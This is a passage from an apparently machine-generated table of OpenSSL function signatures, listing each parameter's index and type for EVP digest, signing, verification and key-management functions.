ossl_ml_dsa_vector_expand_S | 2 | int | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 3 | const uint8_t * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 4 | VECTOR * | +| (EVP_MD_CTX *,const EVP_MD *,int,const uint8_t *,VECTOR *,VECTOR *) | | ossl_ml_dsa_vector_expand_S | 5 | VECTOR * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy | 1 | const EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const EVP_MD_CTX *) | | EVP_MD_CTX_copy_ex | 1 | const EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | size_t | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 2 | size_t | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 3 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t) | | EVP_DigestVerify | 4 | size_t | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 2 | unsigned int | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *) | | EVP_VerifyFinal | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 1 | const unsigned char * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 2 | unsigned int | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 4 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_VerifyFinal_ex | 5 | const char * | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | int | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | int | +| (EVP_MD_CTX *,unsigned char *,size_t *) | | EVP_DigestSignFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,size_t *) | | EVP_DigestSignFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,size_t *) | | EVP_DigestSignFinal | 2 | size_t * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 2 | size_t * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 3 | const unsigned char * | +| (EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t) | | EVP_DigestSign | 4 | size_t | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal_ex | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *) | | EVP_DigestFinal_ex | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | EVP_SignFinal | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *) | | PEM_SignFinal | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 0 | EVP_MD_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 1 | unsigned char * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 2 | unsigned int * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 3 | EVP_PKEY * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 4 | OSSL_LIB_CTX * | +| (EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | EVP_SignFinal_ex | 5 | const char * | +| (EVP_PKEY *) | | EVP_PKEY_dup | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_DH | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_DSA | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_EC_KEY | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | EVP_PKEY_get1_RSA | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | OSSL_STORE_INFO_new_PARAMS | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | OSSL_STORE_INFO_new_PKEY | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | OSSL_STORE_INFO_new_PUBKEY | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | evp_pkey_get_legacy | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_ED448 | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_ED25519 | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_X448 | 0 | EVP_PKEY * | +| (EVP_PKEY *) | | ossl_evp_pkey_get1_X25519 | 0 | EVP_PKEY * | +| (EVP_PKEY **,const EVP_PKEY *) | | evp_pkey_copy_downgraded | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const EVP_PKEY *) | | evp_pkey_copy_downgraded | 1 | const EVP_PKEY * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 1 | const char * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 2 | const char * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 3 | const char * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 4 | int | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 5 | OSSL_LIB_CTX * | +| (EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *) | | OSSL_DECODER_CTX_new_for_pkey | 6 | const char * | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_AutoPrivateKey | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_AutoPrivateKey | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_AutoPrivateKey | 2 | long | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_PUBKEY | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_PUBKEY | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long) | | d2i_PUBKEY | 2 | long | +| (EVP_PKEY **,const unsigned char **,long) | | ossl_d2i_PUBKEY_legacy | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long) | | ossl_d2i_PUBKEY_legacy | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long) | | ossl_d2i_PUBKEY_legacy | 2 | long | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 2 | long | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 3 | OSSL_LIB_CTX * | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_AutoPrivateKey_ex | 4 | const char * | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 0 | EVP_PKEY ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 1 | const unsigned char ** | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 2 | long | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 3 | OSSL_LIB_CTX * | +| (EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_PUBKEY_ex | 4 | const char * | +| (EVP_PKEY *,DH *,dh_st *) | | EVP_PKEY_set1_DH | 0 | EVP_PKEY * | +| (EVP_PKEY *,DH *,dh_st *) | | EVP_PKEY_set1_DH | 1 | DH * | +| (EVP_PKEY *,DH *,dh_st *) | | EVP_PKEY_set1_DH | 2 | dh_st * | +| (EVP_PKEY *,DSA *,dsa_st *) | | EVP_PKEY_set1_DSA | 0 | EVP_PKEY * | +| (EVP_PKEY *,DSA *,dsa_st *) | | EVP_PKEY_set1_DSA | 1 | DSA * | +| (EVP_PKEY *,DSA *,dsa_st *) | | EVP_PKEY_set1_DSA | 2 | dsa_st * | +| (EVP_PKEY *,EC_KEY *,ec_key_st *) | | EVP_PKEY_set1_EC_KEY | 0 | EVP_PKEY * | +| (EVP_PKEY *,EC_KEY *,ec_key_st *) | | EVP_PKEY_set1_EC_KEY | 1 | EC_KEY * | +| (EVP_PKEY *,EC_KEY *,ec_key_st *) | | EVP_PKEY_set1_EC_KEY | 2 | ec_key_st * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_CTX_new | 0 | EVP_PKEY * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_CTX_new | 1 | ENGINE * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_set1_engine | 0 | EVP_PKEY * | +| (EVP_PKEY *,ENGINE *) | | EVP_PKEY_set1_engine | 1 | ENGINE * | +| (EVP_PKEY *,EVP_KEYMGMT *) | | EVP_PKEY_set_type_by_keymgmt | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *) | | EVP_PKEY_set_type_by_keymgmt | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | int | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | int | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 2 | int | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 3 | const OSSL_PARAM[] | +| (EVP_PKEY *,EVP_KEYMGMT *,void *) | | evp_keymgmt_util_assign_pkey | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *) | | evp_keymgmt_util_assign_pkey | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *) | | evp_keymgmt_util_assign_pkey | 2 | void * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 2 | void * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 3 | OSSL_CALLBACK * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 4 | void * | +| (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 1 | EVP_PKEY * | +| (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | int | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 0 | EVP_PKEY * | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 1 | OSSL_LIB_CTX * | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 2 | EVP_KEYMGMT ** | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 3 | const char * | +| (EVP_PKEY *,RSA *,rsa_st *) | | EVP_PKEY_set1_RSA | 0 | EVP_PKEY * | +| (EVP_PKEY *,RSA *,rsa_st *) | | EVP_PKEY_set1_RSA | 1 | RSA * | +| (EVP_PKEY *,RSA *,rsa_st *) | | EVP_PKEY_set1_RSA | 2 | rsa_st * | +| (EVP_PKEY *,X509_ATTRIBUTE *) | | EVP_PKEY_add1_attr | 0 | EVP_PKEY * | +| (EVP_PKEY *,X509_ATTRIBUTE *) | | EVP_PKEY_add1_attr | 1 | X509_ATTRIBUTE * | +| (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 0 | EVP_PKEY * | +| (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 1 | char * | +| (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | size_t | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 0 | EVP_PKEY * | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 1 | const ASN1_OCTET_STRING * | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 2 | OSSL_LIB_CTX * | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 3 | const char * | +| (EVP_PKEY *,const EVP_PKEY *) | | EVP_PKEY_copy_parameters | 0 | EVP_PKEY * | +| (EVP_PKEY *,const EVP_PKEY *) | | EVP_PKEY_copy_parameters | 1 | const EVP_PKEY * | +| (EVP_PKEY *,const char *) | | CTLOG_new | 0 | EVP_PKEY * | +| (EVP_PKEY *,const char *) | | CTLOG_new | 1 | const char * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 0 | EVP_PKEY * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 1 | const char * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 2 | OSSL_LIB_CTX * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 3 | const char * | +| (EVP_PKEY *,const char *,const BIGNUM *) | | EVP_PKEY_set_bn_param | 0 | EVP_PKEY * | +| (EVP_PKEY *,const char *,const BIGNUM *) | | EVP_PKEY_set_bn_param | 1 | const char * | +| (EVP_PKEY *,const char *,const BIGNUM *) | | EVP_PKEY_set_bn_param | 2 | const BIGNUM * | +| (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 0 | EVP_PKEY * | +| (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | int | +| (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 0 | EVP_PKEY * | +| (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | int | +| (EVP_PKEY *,int) | | EVP_PKEY_set_type | 0 | EVP_PKEY * | +| (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | int | +| (EVP_PKEY *,int,void *) | | EVP_PKEY_assign | 0 | EVP_PKEY * | +| (EVP_PKEY *,int,void *) | | EVP_PKEY_assign | 1 | int | +| (EVP_PKEY *,int,void *) | | EVP_PKEY_assign | 2 | void * | +| (EVP_PKEY *,stack_st_X509 *) | | X509_get_pubkey_parameters | 0 | EVP_PKEY * | +| (EVP_PKEY *,stack_st_X509 *) | | X509_get_pubkey_parameters | 1 | stack_st_X509 * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_check | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_check | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_ctrl | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_ctrl | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_free | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_free | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_priv_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_priv_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_pub_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_pub_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_param_check | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_param_check | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_public_check | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_public_check | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_security_bits | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_security_bits | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_priv_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_priv_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_pub_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_pub_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_siginf | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_siginf | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_item | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_item | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_item | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 3 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 3 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 4 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 5 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 6 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 3 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 4 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 5 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 6 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_copy | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_copy | 1 | const EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_libctx | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_peerkey | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_pkey | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_app_data | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_cb | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_operation | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 0 | EVP_PKEY_CTX ** | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 1 | const char * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 2 | ENGINE * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 3 | int | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 4 | OSSL_LIB_CTX * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 5 | const char * | +| (EVP_PKEY_CTX 